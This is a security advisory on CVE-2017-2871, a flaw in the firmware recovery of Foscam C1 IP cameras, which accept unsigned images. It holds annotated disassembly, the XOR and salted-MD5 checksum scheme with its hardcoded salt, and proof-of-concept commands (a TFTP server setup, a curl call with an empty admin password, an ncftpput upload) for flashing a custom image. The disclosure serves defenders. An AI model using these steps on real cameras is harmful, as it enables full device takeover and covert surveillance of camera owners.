Talos Vulnerability Report

TALOS-2017-0378

Foscam IP Video Camera Firmware Recovery Unsigned Image Vulnerability

April 17, 2018
CVE Number

CVE-2017-2871

Summary

Insufficient security checks exist in the recovery procedure used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. An attacker who is in the same subnetwork of the camera or has remote administrator access, can fully compromise the device by performing a firmware recovery using a custom image.

Tested Versions

Foscam Indoor IP Camera C1 Series

System Firmware Version: 1.9.3.18
Application Firmware Version: 2.52.2.43
Plug-In Version: 3.3.0.26

Product URLs

http://www.foscam.com/downloads/index.html

CVSSv3 Score

9.6 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-287: Improper Authentication

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.

In case the flash contents of the device get corrupted, making it impossible to perform a clean boot of the system, the C1 camera offers two ways to recover without the need of physical access:

  • place a recovery image inside the SD-Card (can be done via FTP), at path /ipc_recover_image_bin/recover_image.bin and reboot the device.

  • setup a TFTP server to provide a recover_image.bin file and reboot the device. Upon reboot, the camera will look for a TFTP server on a fixed local IP address. The MAC address of the device is arbitrarily set to 00:00:23:34:45:66 during recovery, which means that tentative connections can be discovered by analyzing ARP requests on the network:

      ```
      16:26:12.108612 ARP, Request who-has 192.168.233.233 tell 192.168.233.2, length 46
      0x0000:  0001 0800 0604 0001 0000 2334 4566 c0a8  ..........#4Ef..
      0x0010:  e902 0000 0000 0000 c0a8 e9e9            ............
      ```
    

The SD-Card method requires an administrator access on the web interface to upload files via FTP. On the other hand, the TFTP server method only requires the TFTP server to be in the same subnetwork of the device, without the need of any privilege.

We analyze the TFTP recovery procedure since it's the most interesting from an attack perspective: the relevant function has been renamed to tftp_update. At [1] the recovery image filename is set to "recover_image.bin" and at [2] the load address of the image is set to "0x82000000". At [3] the recovery file is retrieved from the TFTP server and loaded into its load address. After that, the function xor_decrypt is called to decrypt the image [4].

```
ROM:80812D88             tftp_update
ROM:80812D88
ROM:80812D88             var_24          = -0x24
ROM:80812D88
ROM:80812D88 F3 4E 2D E9                 STMFD           SP!, {R0,R1,R4-R7,R9-R11,LR}
ROM:80812D8C E8 01 9F E5                 LDR             R0, =aAutoUpdateFr_0         ; "Auto-update from TFTP: "
ROM:80812D90 54 F0 FF EB                 BL              printf
ROM:80812D94 E4 01 9F E5                 LDR             R0, =aUpdatefile             ; "updatefile"
ROM:80812D98 0D E6 FF EB                 BL              sub_8080C5D4
ROM:80812D9C E0 A1 9F E5                 LDR             R10, =recover_image          ; [1]
ROM:80812DA0 00 00 50 E3                 CMP             R0, #0
ROM:80812DA4 00 A0 A0 11                 MOVNE           R10, R0
ROM:80812DA8 0A 10 A0 E1                 MOV             R1, R10
ROM:80812DAC D4 01 9F E5                 LDR             R0, =aTryingUpdateFi         ; "trying update file '%s'\n"
ROM:80812DB0 4C F0 FF EB                 BL              printf
ROM:80812DB4 D0 01 9F E5                 LDR             R0, =aLoadaddr               ; "loadaddr"
ROM:80812DB8 05 E6 FF EB                 BL              sub_8080C5D4
ROM:80812DBC 00 00 50 E3                 CMP             R0, #0
ROM:80812DC0 82 44 A0 03                 MOVEQ           R4, #0x82000000              ; [2]
...
ROM:80812E44 C4 BF FF EB                 BL              fetch_recovery               ; [3]
...
ROM:80812EC0 04 00 A0 E1                 MOV             R0, R4
ROM:80812EC4 07 10 A0 E1                 MOV             R1, R7
ROM:80812EC8 00 FF FF EB                 BL              xor_decrypt                  ; [4]
```

The function xor_decrypt takes the image data and its size as first and second parameter, and XORs every couple of bytes starting from the end of the image.

```
ROM:80812AD0             xor_decrypt
ROM:80812AD0
ROM:80812AD0 01 00 80 E0                 ADD             R0, R0, R1
ROM:80812AD4 00 30 A0 E3                 MOV             R3, #0
ROM:80812AD8 04 00 00 EA                 B               loc_80812AF0
ROM:80812ADC
ROM:80812ADC             loc_80812ADC
ROM:80812ADC 02 20 50 E5                 LDRB            R2, [R0,#-2]
ROM:80812AE0 01 C0 50 E5                 LDRB            R12, [R0,#-1]
ROM:80812AE4 02 20 2C E0                 EOR             R2, R12, R2
ROM:80812AE8 02 20 40 E5                 STRB            R2, [R0,#-2]
ROM:80812AEC 01 00 40 E2                 SUB             R0, R0, #1
ROM:80812AF0
ROM:80812AF0             loc_80812AF0
ROM:80812AF0 01 30 83 E2                 ADD             R3, R3, #1
ROM:80812AF4 01 00 53 E1                 CMP             R3, R1
ROM:80812AF8 F7 FF FF 1A                 BNE             loc_80812ADC
ROM:80812AFC 1E FF 2F E1                 BX              LR
```

At this point, the image is decrypted and has the following form (assuming only one chunk exists):

```
23232323  (4 bytes) magic
0x01      (4 bytes) number of chunks
"hi3518e" (8 bytes) platform string
...       (8 bytes) ?
0x38      (4 bytes) start of chunk
0xf00000  (4 bytes) size of chunk
0x80000   (4 bytes) flash offset
00000000  (4 bytes) ?
...       (16 bytes) md5 of the chunk
...       (variable) chunk data
```

Back to the tftp_update function, the first bytes of the decrypted image are checked to be #### [5], and the platform string is checked to be hi3518e [6]. The function then enters a loop that is executed for every chunk defined in the image [7]. For every chunk, a checksum is verified to ensure the integrity of the image, by calling the function wrap_md5 [8]. If the checksum matches, the chunk is flashed [9].

```
ROM:80812ECC 00 20 94 E5                 LDR             R2, [R4]
ROM:80812ED0 D4 30 9F E5                 LDR             R3, =0x23232323         ; [5]
ROM:80812ED4 03 00 52 E1                 CMP             R2, R3
ROM:80812ED8 05 00 00 1A                 BNE             loc_80812EF4
ROM:80812EDC CC 00 9F E5                 LDR             R0, =aHi3518e           ; "hi3518e"
ROM:80812EE0 08 10 84 E2                 ADD             R1, R4, #8
ROM:80812EE4 06 14 00 EB                 BL              strcmp                  ; [6]
ROM:80812EE8 00 60 50 E2                 SUBS            R6, R0, #0
ROM:80812EEC 04 50 A0 01                 MOVEQ           R5, R4
ROM:80812EF0 1C 00 00 0A                 BEQ             loc_80812F68
ROM:80812EF4
ROM:80812EF4             loc_80812EF4
ROM:80812EF4 B8 00 9F E5                 LDR             R0, =aUnkonwUpdateFi    ; "Unkonw update file"...
ROM:80812EF8
ROM:80812EF8             loc_80812EF8
ROM:80812EF8 08 D0 8D E2                 ADD             SP, SP, #8
ROM:80812EFC F0 4E BD E8                 LDMFD           SP!, {R4-R7,R9-R11,LR}
ROM:80812F00 F8 EF FF EA                 B               printf
ROM:80812F04
ROM:80812F04             loc_80812F04
ROM:80812F04 18 70 95 E5                 LDR             R7, [R5,#0x18]
ROM:80812F08 86 22 84 E0                 ADD             R2, R4, R6,LSL#5
ROM:80812F0C 07 70 84 E0                 ADD             R7, R4, R7
ROM:80812F10 07 00 A0 E1                 MOV             R0, R7
ROM:80812F14 1C 10 95 E5                 LDR             R1, [R5,#0x1C]
ROM:80812F18 28 20 82 E2                 ADD             R2, R2, #0x28
ROM:80812F1C 7B FF FF EB                 BL              wrap_md5                ; [8]
ROM:80812F20 00 00 50 E3                 CMP             R0, #0
ROM:80812F24 0A 00 00 1A                 BNE             loc_80812F54
ROM:80812F28 06 10 A0 E1                 MOV             R1, R6
ROM:80812F2C 1C 20 95 E5                 LDR             R2, [R5,#0x1C]
ROM:80812F30 20 30 95 E5                 LDR             R3, [R5,#0x20]
ROM:80812F34 7C 00 9F E5                 LDR             R0, =aMd5OkDoingUpda    ; "MD5  OK"...
ROM:80812F38 EA EF FF EB                 BL              printf
ROM:80812F3C 24 00 95 E5                 LDR             R0, [R5,#0x24]
ROM:80812F40 07 10 A0 E1                 MOV             R1, R7
ROM:80812F44 20 20 95 E5                 LDR             R2, [R5,#0x20]
ROM:80812F48 1C 30 95 E5                 LDR             R3, [R5,#0x1C]
ROM:80812F4C EB FE FF EB                 BL              update_flash            ; [9]
ROM:80812F50 02 00 00 EA                 B               loc_80812F60
ROM:80812F54
ROM:80812F54             loc_80812F54
ROM:80812F54 60 00 9F E5                 LDR             R0, =aMd5FailOnPartD    ; "MD5 Fail on Part %d !!!!!!\n"
ROM:80812F58 06 10 A0 E1                 MOV             R1, R6
ROM:80812F5C E1 EF FF EB                 BL              printf
ROM:80812F60
ROM:80812F60             loc_80812F60
ROM:80812F60 01 60 86 E2                 ADD             R6, R6, #1
ROM:80812F64 20 50 85 E2                 ADD             R5, R5, #0x20
ROM:80812F68
ROM:80812F68             loc_80812F68                                            ; [7]
ROM:80812F68 04 30 94 E5                 LDR             R3, [R4,#4]
ROM:80812F6C 03 00 56 E1                 CMP             R6, R3
ROM:80812F70 E3 FF FF 3A                 BCC             loc_80812F04
ROM:80812F74 08 D0 8D E2                 ADD             SP, SP, #8
ROM:80812F78 F0 8E BD E8                 LDMFD           SP!, {R4-R7,R9-R11,PC}
```

wrap_md5 receives as arguments the pointer to the chunk data, the chunk's length and the expected checksum. The MD5 of the chunk is calculated [10] and the resulting digest is concatenated with the string "#foscam&*234" [11]. On this resulting string, another MD5 is calculated [12]. Finally the function returns the result of the comparison [13] between the calculated checksum and the expected one.

```
ROM:80812D10             wrap_md5
ROM:80812D10
ROM:80812D10             var_50          = -0x50
ROM:80812D10             var_20          = -0x20
ROM:80812D10
ROM:80812D10 70 40 2D E9                 STMFD           SP!, {R4-R6,LR}
ROM:80812D14 50 D0 4D E2                 SUB             SP, SP, #0x50
ROM:80812D18 40 40 8D E2                 ADD             R4, SP, #0x60+var_20
ROM:80812D1C 02 60 A0 E1                 MOV             R6, R2
ROM:80812D20 04 20 A0 E1                 MOV             R2, R4
ROM:80812D24 12 14 00 EB                 BL              md5                      ; [10]
ROM:80812D28 04 10 A0 E1                 MOV             R1, R4
ROM:80812D2C 10 20 A0 E3                 MOV             R2, #0x10
ROM:80812D30 0D 00 A0 E1                 MOV             R0, SP
ROM:80812D34 3F 15 00 EB                 BL              memcpy
ROM:80812D38 44 00 9F E5                 LDR             R0, =aFoscam234
ROM:80812D3C 99 14 00 EB                 BL              strlen
ROM:80812D40 3C 10 9F E5                 LDR             R1, =aFoscam234
ROM:80812D44 0D 50 A0 E1                 MOV             R5, SP
ROM:80812D48 00 20 A0 E1                 MOV             R2, R0
ROM:80812D4C 10 00 8D E2                 ADD             R0, SP, #0x60+var_50
ROM:80812D50 38 15 00 EB                 BL              memcpy
ROM:80812D54 28 00 9F E5                 LDR             R0, =aFoscam234          ; [11]
ROM:80812D58 92 14 00 EB                 BL              strlen
ROM:80812D5C 04 20 A0 E1                 MOV             R2, R4
ROM:80812D60 10 10 80 E2                 ADD             R1, R0, #0x10
ROM:80812D64 0D 00 A0 E1                 MOV             R0, SP
ROM:80812D68 01 14 00 EB                 BL              md5                      ; [12]
ROM:80812D6C 06 00 A0 E1                 MOV             R0, R6
ROM:80812D70 04 10 A0 E1                 MOV             R1, R4
ROM:80812D74 10 20 A0 E3                 MOV             R2, #0x10
ROM:80812D78 60 15 00 EB                 BL              memcmp                   ; [13]
ROM:80812D7C 50 D0 8D E2                 ADD             SP, SP, #0x50
ROM:80812D80 70 80 BD E8                 LDMFD           SP!, {R4-R6,PC}
```

Using an abstract notation this translates to:

```
checksum = MD5(MD5(chunk) | "#foscam&*234")
```

Given that no signatures are applied to the recovery procedure, anyone aware of the encryption and hashing scheme will be able to create a custom image and flash it.

Exploit Proof-of-Concept

We show two ways to exploit this bug over the network.

TFTP PoC

An attacker needs to setup a TFTP server to provide a recovery image to the device. The TFTP server address expected by the device is fixed and can be discovered by looking at ARP requests originating from the MAC address 00:00:23:34:45:66.

```
$ cp recover_image.bin /tmp/tftpboot
$ atftpd --daemon --no-fork -v6 --logfile - /tmp/tftpboot
```

Upon reboot the device will look for a TFTP server, load the recovery image, decrypt it and perform integrity checks. If all checks are passed, the new image is flashed and booted.

```
Auto-update from TFTP: trying update file 'recover_image.bin'
Hisilicon ETH net controler
MAC:   00-00-23-34-45-66
UP_PORT : phy status change : LINK=UP : DUPLEX=FULL : SPEED=100M
TFTP from server 192.168.233.233; our IP address is 192.168.233.2
Download Filename 'recover_image.bin'.
Download to address: 0x82000000
Downloading: #################################################
done
Bytes transferred = 15728696 (f00038 hex)
MD5  OK, doing update_flash part 0  size=00f00000 ---> 0x00080000
16384 KiB hi_sfc at 0:0 is now current device
Erasing at 0xf80000 -- 100% complete.
Writing at 0xf80000 -- 100% complete.
Hit any key to stop autoboot:  0
16384 KiB hi_sfc at 0:0 is now current device

## Starting application at 0x82000000 ...
Uncompressing Linux... done, booting the kernel.
```

SD-Card PoC

Alternatively, a recovery can be performed using the SD-Card, but requires administrator privileges.

First, the FTP server needs to be started:

```
$ sUsr="admin"
$ sPwd=""
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=startFtpServer"
```

A custom recovery image can then be sent via FTP:

```
$ ncftpput -u "$sUsr" -p "$sPwd" -P 50021 -m -C $SERVER recover_custom.bin /ipc_recover_image_bin/recover_image.bin
```

Upon reboot the device will load the recovery image, decrypt it and perform integrity checks. If all checks are passed, the new image is flashed and booted.

```
Auto-update from SD Card:
Found sd card device.
Found block device description.
** Partition 0 not valid on device 0 **
Can't register block device [mmc 0:0]!
Registered block device [mmc 0:1] successfully.
reading /ipc_recover_image_bin/recover_image.bin
Read upgrade file /ipc_recover_image_bin/recover_image.bin successfully, readSize=15728696.
MD5  OK, doing update_flash part 0  size=00f00000 ---> 0x00080000
16384 KiB hi_sfc at 0:0 is now current device
Erasing at 0xf80000 -- 100% complete.
Writing at 0xf80000 -- 100% complete.
Hit any key to stop autoboot:  0
16384 KiB hi_sfc at 0:0 is now current device

## Starting application at 0x82000000 ...
Uncompressing Linux... done, booting the kernel.
```

Timeline

2017-07-13 - Vendor Disclosure
2017-08-08 - Discussion with vendor regarding issues reported
2017-10-29 - Vendor provided Feb 2018 as planned date for fix
2018-02-09 - Patch date pushed to March 2018 per vendor
2018-03-14 - Vendor patched
2018-04-17 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.